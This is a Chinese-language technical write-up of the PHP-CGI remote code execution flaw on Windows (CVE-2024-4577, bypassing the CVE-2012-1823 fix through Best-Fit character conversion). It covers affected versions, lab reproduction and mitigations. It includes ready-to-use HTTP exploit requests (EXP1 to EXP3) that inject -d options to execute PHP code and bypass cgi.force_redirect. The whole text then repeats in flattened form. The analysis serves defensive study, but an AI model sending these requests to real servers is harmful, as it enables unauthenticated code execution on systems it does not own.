深入解析PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577|CVE-2012-1823)
字数 1698 2025-08-24 16:48:07

PHP CGI Windows平台远程代码执行漏洞深度分析(CVE-2024-4577/CVE-2012-1823)

漏洞概述

PHP在Windows平台上存在一个严重的远程代码执行漏洞,该漏洞源于PHP设计时忽略了Windows系统对字符转换的"Best-Fit"特性。当PHP运行在特定语系的Windows平台(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过CVE-2012-1823的保护机制,在无需登录的情况下执行任意PHP代码。

漏洞背景

CVE-2012-1823

CVE-2012-1823是该漏洞的前身,影响范围包括:

  • PHP < 5.3.12
  • PHP < 5.4.2

PHP-CGI工作机制

PHP-CGI(Common Gateway Interface)是一种通过CGI协议运行PHP脚本的方式,它作为Web服务器和PHP解释器之间的桥梁。PHP-CGI提供两种交互模式:

  1. CGI模式:每次请求都会启动一个新的PHP-CGI进程,处理完成后关闭
  2. FastCGI模式:PHP-CGI进程常驻内存,通过FastCGI协议处理多个请求

漏洞成因

CVE-2012-1823漏洞原理

PHP-CGI是一个可执行文件,接受命令行参数进行配置。攻击者可以通过HTTP请求传递PHP-CGI参数,例如:

php-cgi.exe index.php foo=bar

特别危险的是-d参数,它允许在运行时修改PHP配置:

-d foo[=bar]  # 定义INI条目foo并设置其值为'bar'

通过构造如下请求可实现RCE:

POST /index.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

<?php phpinfo(); ?>

这相当于执行:

php-cgi index.php -d allow_url_include=1 -d auto_prepend_file=php://input

CVE-2024-4577绕过机制

CVE-2012-1823的补丁仅简单过滤了"-"字符,但忽略了Windows平台的"Best-Fit"字符编码转换特性。在简体中文(936)、繁体中文(950)和日文(932)等语系中:

  • 十六进制字符0xad会被转换为"-"
  • 攻击者可发送%ad(0xad的URL编码)绕过过滤

漏洞分析

影响范围

  • PHP Windows版

    • 8.3.0 <= 版本 < 8.3.8
    • 8.2.0 <= 版本 < 8.2.20
    • 8.1.0 <= 版本 < 8.1.29
    • 8.0.x
    • 7.x
    • 5.x
  • XAMPP Windows版

    • 8.2.0 <= 版本 <= 8.2.12
    • 8.1.0 <= 版本 <= 8.1.25
    • 8.0.x
    • 7.x
    • 5.x

漏洞条件

  1. Windows服务器使用以下字码页:

    • 繁体中文 (950)
    • 简体中文 (936)
    • 日文 (932)

    可通过chcp命令查看当前活动代码页

  2. 使用PHP-CGI解析请求的两种情景:

    • 以CGI模式运行的PHP环境
    • 将PHP的执行程序暴露在外(XAMPP默认配置)

漏洞复现

场景1:以CGI模式运行的PHP环境

环境准备

  • Windows 10 简体中文(字码页 936)
  • XAMPP 8.2.12 / PHP 8.2.12

配置步骤

  1. 修改apache的httpd-xampp.conf,取消以下注释:
    <FilesMatch "\.php$">
        SetHandler application/x-httpd-php-cgi
    </FilesMatch>
    <IfModule actions_module>
        Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
    </IfModule>
    

EXP1

POST /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.217.139
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

<?php phpinfo();?>

场景2:将PHP-CGI暴露在外(XAMPP默认配置)

XAMPP默认配置将/php-cgi/映射到C:/www/php/,允许直接访问php-cgi.exe

绕过cgi.force_redirect保护的方法

  1. 方法1:使用-d设置cgi.force_redirect=0

EXP2

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3d0+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20

<?php phpinfo();?>
  1. 方法2:设置REDIRECT-STATUS请求头

EXP3

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
REDIRECT-STATUS: 1

<?php phpinfo();?>

修复建议

  1. 升级到已修复版本:

    • PHP 8.3.8+
    • PHP 8.2.20+
    • PHP 8.1.29+
  2. 对于XAMPP用户:

    • 确认业务不使用PHP-CGI的前提下,修改http-xampp.conf,注释:
      #ScriptAlias /php-cgi/ "C:/www/php/"
      
  3. 其他缓解措施:

    • 禁用PHP-CGI模式
    • 使用PHP-FPM替代PHP-CGI
    • 限制直接访问php-cgi.exe

技术总结

该漏洞的核心在于:

  1. PHP-CGI命令行参数注入
  2. Windows字符编码的Best-Fit特性绕过
  3. XAMPP默认配置降低了攻击门槛

理解这些机制对于防御类似漏洞至关重要,特别是在多语言环境下的系统安全配置。

PHP CGI Windows平台远程代码执行漏洞深度分析(CVE-2024-4577/CVE-2012-1823) 漏洞概述 PHP在Windows平台上存在一个严重的远程代码执行漏洞,该漏洞源于PHP设计时忽略了Windows系统对字符转换的"Best-Fit"特性。当PHP运行在特定语系的Windows平台(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过CVE-2012-1823的保护机制,在无需登录的情况下执行任意PHP代码。 漏洞背景 CVE-2012-1823 CVE-2012-1823是该漏洞的前身,影响范围包括: PHP < 5.3.12 PHP < 5.4.2 PHP-CGI工作机制 PHP-CGI(Common Gateway Interface)是一种通过CGI协议运行PHP脚本的方式,它作为Web服务器和PHP解释器之间的桥梁。PHP-CGI提供两种交互模式: CGI模式 :每次请求都会启动一个新的PHP-CGI进程,处理完成后关闭 FastCGI模式 :PHP-CGI进程常驻内存,通过FastCGI协议处理多个请求 漏洞成因 CVE-2012-1823漏洞原理 PHP-CGI是一个可执行文件,接受命令行参数进行配置。攻击者可以通过HTTP请求传递PHP-CGI参数,例如: 特别危险的是 -d 参数,它允许在运行时修改PHP配置: 通过构造如下请求可实现RCE: 这相当于执行: CVE-2024-4577绕过机制 CVE-2012-1823的补丁仅简单过滤了"-"字符,但忽略了Windows平台的"Best-Fit"字符编码转换特性。在简体中文(936)、繁体中文(950)和日文(932)等语系中: 十六进制字符0xad会被转换为"-" 攻击者可发送%ad(0xad的URL编码)绕过过滤 漏洞分析 影响范围 PHP Windows版 : 8.3.0 <= 版本 < 8.3.8 8.2.0 <= 版本 < 8.2.20 8.1.0 <= 版本 < 8.1.29 8.0.x 7.x 5.x XAMPP Windows版 : 8.2.0 <= 版本 <= 8.2.12 8.1.0 <= 版本 <= 8.1.25 8.0.x 7.x 5.x 漏洞条件 Windows服务器使用以下字码页: 繁体中文 (950) 简体中文 (936) 日文 (932) 可通过 chcp 命令查看当前活动代码页 使用PHP-CGI解析请求的两种情景: 以CGI模式运行的PHP环境 将PHP的执行程序暴露在外(XAMPP默认配置) 漏洞复现 场景1:以CGI模式运行的PHP环境 环境准备 : Windows 10 简体中文(字码页 936) XAMPP 8.2.12 / PHP 8.2.12 配置步骤 : 修改apache的 httpd-xampp.conf ,取消以下注释: EXP1 : 场景2:将PHP-CGI暴露在外(XAMPP默认配置) XAMPP默认配置将 /php-cgi/ 映射到 C:/www/php/ ,允许直接访问 php-cgi.exe 。 绕过cgi.force_ redirect保护的方法 : 方法1 :使用 -d 设置 cgi.force_redirect=0 EXP2 : 方法2 :设置 REDIRECT-STATUS 请求头 EXP3 : 修复建议 升级到已修复版本: PHP 8.3.8+ PHP 8.2.20+ PHP 8.1.29+ 对于XAMPP用户: 确认业务不使用PHP-CGI的前提下,修改 http-xampp.conf ,注释: 其他缓解措施: 禁用PHP-CGI模式 使用PHP-FPM替代PHP-CGI 限制直接访问php-cgi.exe 技术总结 该漏洞的核心在于: PHP-CGI命令行参数注入 Windows字符编码的Best-Fit特性绕过 XAMPP默认配置降低了攻击门槛 理解这些机制对于防御类似漏洞至关重要,特别是在多语言环境下的系统安全配置。